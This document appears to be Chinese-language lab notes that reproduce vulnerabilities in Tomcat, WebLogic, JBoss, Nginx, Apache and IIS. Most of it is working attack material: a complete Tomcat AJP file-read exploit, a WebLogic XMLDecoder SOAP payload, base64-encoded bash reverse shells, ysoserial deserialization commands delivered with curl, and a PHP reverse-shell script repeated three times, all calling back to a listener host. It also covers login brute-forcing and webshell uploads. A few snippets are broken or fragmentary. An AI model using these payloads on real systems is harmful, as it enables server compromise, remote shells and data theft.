漏洞环境:线上环境 vulfocus
漏洞的利用环境是Windows+Tomcat 7.0.x+配置文件readonly=false
因为Tomcat将readonly设置为flase的时候,同时就开启了对PUT方法的支持
影响版本:Tomcat 7.0.0 - 7.0.81
漏洞原理:
org.apache.jasper.servlet.JspServlet:默认处理jsp,jspx文件请求,不存在PUT上传逻辑,无法处理PUT请求
org.apache.catalina.servlets.DefaultServlet:默认处理静态文件(除jsp,jspx之外的文件),存在PUT上传处理逻辑,可以处理PUT请求。
所以我们即使可以PUT一个文件到服务器但也无法直接PUT以jsp,jspx结尾文件,因为这些这些后缀的文件都是交由JspServlet处理的,它没法处理PUT请求。
但是当我们利用Windows特性以下面两种方式上传文件时,tomcat并不认为其是jsp文件从而交由DefaultServlet处理,从而成功创建jsp文件。
方法一:利用PUT方法上传一句话木马,给后缀后加“/”
冰蝎连接,连接成功
查看flag
方法二:
给后缀后加%20
进行绕过
方法三:
给后缀后加::$DATA
docker pull duonghuuphuc/tomcat-8.5.32
docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32
docker ps
影响版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
漏洞原理:
漏洞复现:
#!/usr/bin/env python
#CNVD-2020-10487 Tomcat-Ajp lfi
#by ydhcui
import struct
# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
if s is None:
return struct.pack(">h", -1)
l = len(s)
return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
size = struct.calcsize(fmt)
buf = stream.read(size)
return struct.unpack(fmt, buf)
def unpack_string(stream):
size, = unpack(stream, ">h")
if size == -1: # null string
return None
res, = unpack(stream, "%ds" % size)
stream.read(1) # \0
return res
class NotFoundException(Exception):
pass
class AjpBodyRequest(object):
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
MAX_REQUEST_LENGTH = 8186
def __init__(self, data_stream, data_len, data_direction=None):
self.data_stream = data_stream
self.data_len = data_len
self.data_direction = data_direction
def serialize(self):
data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
if len(data) == 0:
return struct.pack(">bbH", 0x12, 0x34, 0x00)
else:
res = struct.pack(">H", len(data))
res += data
if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbH", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbH", 0x41, 0x42, len(res))
return header + res
def send_and_receive(self, socket, stream):
while True:
data = self.serialize()
socket.send(data)
r = AjpResponse.receive(stream)
while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
r = AjpResponse.receive(stream)
if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
break
class AjpForwardRequest(object):
_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
REQUEST_METHODS = {
'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
COMMON_HEADERS = ["SC_REQ_ACCEPT",
"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
]
ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
def __init__(self, data_direction=None):
self.prefix_code = 0x02
self.method = None
self.protocol = None
self.req_uri = None
self.remote_addr = None
self.remote_host = None
self.server_name = None
self.server_port = None
self.is_ssl = None
self.num_headers = None
self.request_headers = None
self.attributes = None
self.data_direction = data_direction
def pack_headers(self):
self.num_headers = len(self.request_headers)
res = ""
res = struct.pack(">h", self.num_headers)
for h_name in self.request_headers:
if h_name.startswith("SC_REQ"):
code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
res += struct.pack("BB", 0xA0, code)
else:
res += pack_string(h_name)
res += pack_string(self.request_headers[h_name])
return res
def pack_attributes(self):
res = b""
for attr in self.attributes:
a_name = attr['name']
code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
res += struct.pack("b", code)
if a_name == "req_attribute":
aa_name, a_value = attr['value']
res += pack_string(aa_name)
res += pack_string(a_value)
else:
res += pack_string(attr['value'])
res += struct.pack("B", 0xFF)
return res
def serialize(self):
res = ""
res = struct.pack("bb", self.prefix_code, self.method)
res += pack_string(self.protocol)
res += pack_string(self.req_uri)
res += pack_string(self.remote_addr)
res += pack_string(self.remote_host)
res += pack_string(self.server_name)
res += struct.pack(">h", self.server_port)
res += struct.pack("?", self.is_ssl)
res += self.pack_headers()
res += self.pack_attributes()
if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbh", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbh", 0x41, 0x42, len(res))
return header + res
def parse(self, raw_packet):
stream = StringIO(raw_packet)
self.magic1, self.magic2, data_len = unpack(stream, "bbH")
self.prefix_code, self.method = unpack(stream, "bb")
self.protocol = unpack_string(stream)
self.req_uri = unpack_string(stream)
self.remote_addr = unpack_string(stream)
self.remote_host = unpack_string(stream)
self.server_name = unpack_string(stream)
self.server_port = unpack(stream, ">h")
self.is_ssl = unpack(stream, "?")
self.num_headers, = unpack(stream, ">H")
self.request_headers = {
}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code > 0xA000:
h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
else:
h_name = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
self.request_headers[h_name] = h_value
def send_and_receive(self, socket, stream, save_cookies=False):
res = []
i = socket.sendall(self.serialize())
if self.method == AjpForwardRequest.POST:
return res
r = AjpResponse.receive(stream)
assert r.prefix_code == AjpResponse.SEND_HEADERS
res.append(r)
if save_cookies and 'Set-Cookie' in r.response_headers:
self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
# read body chunks and end response packets
while True:
r = AjpResponse.receive(stream)
res.append(r)
if r.prefix_code == AjpResponse.END_RESPONSE:
break
elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
continue
else:
raise NotImplementedError
break
return res
class AjpResponse(object):
_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
COMMON_SEND_HEADERS = [
"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
]
def parse(self, stream):
# read headers
self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
if self.prefix_code == AjpResponse.SEND_HEADERS:
self.parse_send_headers(stream)
elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
self.parse_send_body_chunk(stream)
elif self.prefix_code == AjpResponse.END_RESPONSE:
self.parse_end_response(stream)
elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
self.parse_get_body_chunk(stream)
else:
raise NotImplementedError
def parse_send_headers(self, stream):
self.http_status_code, = unpack(stream, ">H")
self.http_status_msg = unpack_string(stream)
self.num_headers, = unpack(stream, ">H")
self.response_headers = {
}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code <= 0xA000: # custom header
h_name, = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
else:
h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
h_value = unpack_string(stream)
self.response_headers[h_name] = h_value
def parse_send_body_chunk(self, stream):
self.data_length, = unpack(stream, ">H")
self.data = stream.read(self.data_length+1)
def parse_end_response(self, stream):
self.reuse, = unpack(stream, "b")
def parse_get_body_chunk(self, stream):
rlen, = unpack(stream, ">H")
return rlen
@staticmethod
def receive(stream):
r = AjpResponse()
r.parse(stream)
return r
import socket
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
fr.method = method
fr.protocol = "HTTP/1.1"
fr.req_uri = req_uri
fr.remote_addr = target_host
fr.remote_host = None
fr.server_name = target_host
fr.server_port = 80
fr.request_headers = {
'SC_REQ_ACCEPT': 'text/html',
'SC_REQ_CONNECTION': 'keep-alive',
'SC_REQ_CONTENT_LENGTH': '0',
'SC_REQ_HOST': target_host,
'SC_REQ_USER_AGENT': 'Mozilla',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'en-US,en;q=0.5',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
fr.is_ssl = False
fr.attributes = []
return fr
class Tomcat(object):
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.connect((target_host, target_port))
self.stream = self.socket.makefile("rb", bufsize=0)
def perform_request(self, req_uri, headers={
}, method='GET', user=None, password=None, attributes=[]):
self.req_uri = req_uri
self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
if user is not None and password is not None:
self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
for h in headers:
self.forward_request.request_headers[h] = headers[h]
for a in attributes:
self.forward_request.attributes.append(a)
responses = self.forward_request.send_and_receive(self.socket, self.stream)
if len(responses) == 0:
return None, None
snd_hdrs_res = responses[0]
data_res = responses[1:-1]
if len(data_res) == 0:
print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
return snd_hdrs_res, data_res
'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf',attributes=[
{
'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
{
'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
{
'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
])
print('----------------------------')
print("".join([d.data for d in data]))
docker inspect -f '{
{.ID}}' 1938
<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaC1pPiYgL2Rldi90Y3AvMTkyLjE2OC4zMC4xODkvODg4OCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print(""
);
while((a=in.read(b))≠-1{
out.println(new String(b));
}
out.priny("
");
%>
最后可能环境问题,没能复现成功,可以看这篇博客AJP漏洞复现
爆破tomcat后台密码:
可以看到登录的用户名及密码经过base64加密
2. intruder进行密码爆破
指定爆破点
payload类型:Custom iterator
添加爆破字典,这里用的Fuzz(可以到github去下载)
位置1:用户名字典
位置2:连接符
位置3:密码字典
根据数据包进行base64加密:
不进行url编码
生产环境需要设置线程等选项,进行爆破
具体复现可以查看前面的复现–tomcat漏洞复现
访问url:
http://192.168.30.209:7001/wls-wsat/CoordinatorPortType
抓包构造payload(这里直接拿的大佬的payload)
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.30.209:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 639
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.30.182/9999 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
可以下载CVE-2018-2628工具包进行复现漏洞
启动JRMP Server:
[command] : 需要执行的命令
[listen port] : JRMP Server监听的端口。
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener [listen port] Jdk7u21 [command]
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -i >& /dev/tcp/192.168.30.182/9999 0>&1'
#编码后的命令:
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMwLjE4Mi85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}'
JRMP Server正在监听8888端口
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.30.182:8888 | xxd -p | tr -d $'\n' && echo
这个漏洞在前面博客已经复现,点击此处查看
Weblogic的密码采用AES加密,对称加密即可解密,秘钥(/security/SerializedSystemIni.dat)与密文(/config/config.xml)都保存在base_domain/目录下。SerializedSystemlni.dat文件为二进制文件,这里需要在burp中抓取,并保存成文件
查看秘钥,秘钥保存在,并将秘钥保存为一个文件(右击Copy to file)
查看密文,这里AES加密文件很杂,一定要找正确
后台上传webshell
拿到用户名及密码,但是登不上去,很尴尬(环境问题)
后面的步骤找了一个大佬的博客
步骤:域结构-部署-安装-上传文件-将此部署安装为应用程序
漏洞原理:
反序列化远程命令执行漏洞,在JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,doFilter方法会对来自客户端的序列化数据进行反序列化,攻击者可以构造恶意的序列化数据进行代码执行
利用工具:JavaDeserH2HC
进行配置,并生成payload
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.30.182:4444
curl http://192.168.30.209:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
漏洞原理:JBoss AS 4.x及之前版本,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,攻击者可以构造的序列化数据经反序列化后进行代码执行,漏洞点出现在/jbossmq-httpil/HTTPServerILServlet请求中,借助ysoserial的CommonsCollections5利用链来复现
生成Payload
利用jar包生成一个success格式的payload
java -jar ysoserial.jar CommonsCollections5 "bash -i >& /dev/tcp/192.168.30.182/7777 0>&1" > poc.ser
#编码后:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMwLjE4Mi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
curl http://192.168.30.209:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser
location ~ \.php$ {
include fastcgi_params;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
}
正常情况(关闭pathinfo的情况),Nginx遇到.php后缀文件,都会交给fastcig进行处理,但是在CVE-2013-4547漏洞的存在下,我们请求文件phpinfo.jpg[0x20][0x00].php,这个URI匹配到正则表达.php$,会被当做php文件处理,但是在fastcgi处理时,00截断后面的字符,会对文件phpinfo.jpg[0x20]进行解析,从而造成Nginx解析漏洞
访问文件phpinfo.jpg[0x20][0x00].php时,上传的phpinfo().jpg[0x20]会被当做php文件进行解析,注意:这里可以利用brup选中[0x20]后面的16进制,改为[0x00]
反弹shell脚本
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.30.182';
$port = 5555;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
漏洞介绍:
Nginx进行反向代理时,通常会对一些文件进行缓存,特别是静态文件。在缓存文件中,具有文件头,HTTP返回包头,HTTP返回包体。当用户再次对服务器发起请求,服务器会直接将缓存文件发送给客户端
漏洞复现:
访问URL:http://192.168.30.209:8080/ 实际是访问的nginx的8001端口
使用大佬的POC
#!/usr/bin/env python
import sys
import requests
if len(sys.argv) < 2:
print("%s url" % (sys.argv[0]))
print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
sys.exit()
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
n, 0x8000000000000000 - n)
r = requests.get(url, headers=headers)
print(r.text)
可以看出,docker容器开启后,这里开启了8080-8082三个端口,这三个端口分别对应三个配置不当漏洞
漏洞一:CRLF注入漏洞
漏洞一:CRLF注入
Set-cookie: true=1
写到下一行,可以看到回包中有我们写入的数据漏洞二:目录穿越漏洞
漏洞原理:配置错误的情况,与nginx、php版本无关,配置项: cgi.fix_pathinfo=1,security.limit_extensions=允许解析其他格式为php,则存在解析漏洞。Nginx的解析流程:当nginx接收到/phpinfo.jpg/a.php文件时,首先判断后缀为php,则交给php处理,但是发现处理a.php时,a.php文件不存在,所以就删除文件a.php,然后去解析文件phpinfo.jpg。当然想要将phpinfo.jpg文件进行php解析,那么配置项就需要满足前面说的那种配置
上传假图片文件,回包中可以看到上传后的路径及重命名的图片名
正常访问上传的文件
访问上传的假图片时,给后面加/a.php,此时会把这个假图片进行php解析
以下链接会被解析为php格式
http://192.168.30.209/uploadfiles/b5f7a062d84869fe4f3af35b79fca50c.jpg/a.php
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.30.182';
$port = 5555;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
kali进行端口监听,访问上传的文件,对上传的文件进行php解析,
漏洞原理:Apache httpd支持一个文件多后缀,这不同于windows操作系统,windows对文件的识别是看最后一个“.”后面的格式,假设一个多后缀文件phpinfo.php,jpg,Apache对多文件后缀的识别方式是从后往前进行识别,先识别.jpg后缀文件,但是并不能被识别,所以往前去识别php后缀,以此类推,如果这些后缀都无法识别,那么会将文件当做默认文件类型去处理。文件/etc/mime.types规定了Apache可以识别的后缀,下面是文件中部分后缀
实战中一般使用rar,owf文件进行利用,因为Apache也可以识别jpg格式,很有可能会将文件当做jpg文件进行解析
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.30.182';
$port = 5555;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
#查看当前运行容器:
docker ps
#查看所有容器:
docker ps -a
docker inspect -f '{
{.ID}}' 容器名/短ID
docker cp 本地路径 容器长ID:目标路径
<html>
<head><meta charset="utf-8"></head>
<body>
<form action method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="text" name="name" <br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
http://192.168.30.209:8080/a.php%0a
然后就可以上传恶意的php代码,进行phpj解析,反弹shell等操作
漏洞原理:这是一个配置不当造成的解析漏洞,和nginx的版本无关。如果服务器开启了SSI(Server Side Include)与CGI支持,我们可以上传一个.shtml
文件,内容类似这样形式去执行任意命令,
漏洞复现:
访问upload.php,上传php文件发现上传失败
上传一个exec.shtml
文件,内容为
访问上传的文件,发现成功执行命令
漏洞复现:BUUCTF-CheckIn
原著
.user.ini是什么? 上传.user.ini文件,条件如下:
(1)服务器脚本语言为PHP
(2)对应目录下面有可执行的php文件
(3)服务器使用CGI/FastCGI模式
服务器以fastcgi启动运行的时候,.user.ini也是php的一种配置文件,php.ini是php的配置文件,它可以做到显示报错,导入扩展,文件解析,web站点路径等等设置。但是如果想要把某个文件里面的配置与全局的php.ini不同,则可以在php文件中加上ini_set()来配置特定的配置变量。
而.user.ini和.htaccess一样是对当前目录的所以php文件的配置设置,即写了.user.ini和它同目录的文件会优先使用.user.ini中设置的配置属性。
但是不是php.ini中的每个变量都能通过ini_set()或者.user.ini和.htaccess来设置,简单的来说每个变量有它所属于的模式。
auto_prepend_file=abc.jpg
这个auto_prepend_file就是指定一个文件在主文件解析前解析。这个配置在涉及到FPM的题里可以说是非常常见了,几乎每次和FPM有关的题都要利用这个配置
IIS(Internet Information Services)目前只适用于Windows系统
影响版本:IIS 6.X
一、基于文件名
漏洞原理:该版本会将形如*.asp;.jpg这种格式的文件,当成asp解析,原理是服务器默认不解析;
后面的内容,起到了截断作用
IIS6.X不仅会将.asp后缀文件解析成asp文件,也会将asa,cer,cdx文件解成asp文件
二、基于目录名
该漏洞会将*.asp/目录下的文件都当做.asp文件进行解析
